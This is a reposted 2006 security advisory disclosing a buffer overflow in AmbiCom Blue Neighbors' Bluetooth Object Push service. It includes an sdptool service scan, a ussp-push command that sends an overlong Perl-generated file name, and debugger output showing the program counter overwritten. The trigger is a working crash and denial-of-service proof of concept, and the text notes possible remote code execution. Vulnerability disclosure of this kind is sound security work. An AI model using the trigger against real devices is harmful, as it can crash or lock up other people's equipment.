I am not sure why but this post appeared to be rejected.
DMA[2006-0115a] - 'AmbiCom Bluetooth Object Push Overflow'
Author: Kevin Finisterre
Vendor: http://www.ambicom.com/products/air2net
Product: 'AmbiCom Blue Neighbors <= V2.50 Build 2500'
References:
http://www.digitalmunition.com/DMA[2006-0115a].txt
Description:
AmbiCom, Inc. was founded in Santa Clara, California in 1997, with a driving mission to
provide complete cutting-edge networking solutions for mobile users. AmbiCom provides
products for all mobile lifestyle needs - from wired to wireless, PDAs to Notebook PCs,
home to office.
With Bluetooth Wireless Solutions from AmbiCom, all your Bluetooth devices; such as
mobile phones, PDAs, Notebook PCs, MP3 players, digital cameras, and more, can wirelessly
communicate effortlessly via Bluetooth technology. In other words with AmbiCom, all your
Bluetooth are belong to us!
Performing an sdp browse of an AmbiCom device will reveal an Object Push service.
animosity:~/ussp-push-0.5# sdptool browse 00:10:7A:5C:04:92
Browsing 00:10:7A:5C:04:92 ...
Service Name: OBEX Object Push
Service RecHandle: 0x10000
Service Class ID List:
"OBEX Object Push" (0x1105)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 1
"OBEX" (0x0008)
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
A simple buffer overflow exists in the way Ambicom's Object Push service handles long
file names. Sending a Unicode filename that is over 256 bytes will result in the instruction
pointer being overwritten.
animosity:~/ussp-push-0.5# ./ussp-push 00:10:7A:5C:04:92@1 B `perl -e 'print "A" x 261 . "ZZ"'`
pushing file B
name=B, size=257
Registered transport
set user data
created new objext
Local device 00:0C:55:11:B3:9A
Remote device 00:10:7A:5C:04:92 (1)
started a new request
reqdone
Command (00) has now finished, rsp: 20Connected!
Connection return code: 0, id: 0
Connection established
connected to server
Sending file:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAZZ,
path: B, size: 257
In this example after attempting to accept the file the AmbiCom stack will crash because
$PC has been overwritten with Unicode ZZ aka 0x005a005a.
If we had attached a remote ARM Debugger to Blue Neighbors.EXE prior to exploitation we seen
the following:
IDA is analysing the input file...
You may start to explore the input file right now.
Debugger: Attached to process 3546761726.
The initial autoanalysis has been finished.
Debugged application message: Prefetch Abort: Thread=935124a8 Proc=900d7df8 'Blue Neighbors.EXE'.
Debugged application message: AKY=00000201 PC=005a005a RA=01622648 BVA=005a005a FSR=000004f0.
: The instruction at 0x5A005A referenced memory at 0x5A005A.
The memory could not be read (0x005A005A -> 005A005A)
If the string used to trigger the buffer overflow is sent in ASCII as opposed to Unicode the
memory of the process is overwritten in a different fashion. Remote execution of code may be
possible if an attacker can craft the proper payload in either ASCII or Unicode. One side effect
of failed exploitation can be cause denial of service due to the fact that certain values in the
$PC register can cause the entire device to lock up rather than just crashing the Bluetooth stack.
Work Around:
Disable the AmbiCom Bluetooth Stack or remove your Bluetooth module. Stacks from other vendors
may help mitigate this risk however new risks may be introduced.
AmbiCom's Technical Support Department did not respond to attempts to to notify them of this
problem. Emails sent to support (at) ambicom (dot) com [email concealed] were left unanswered.
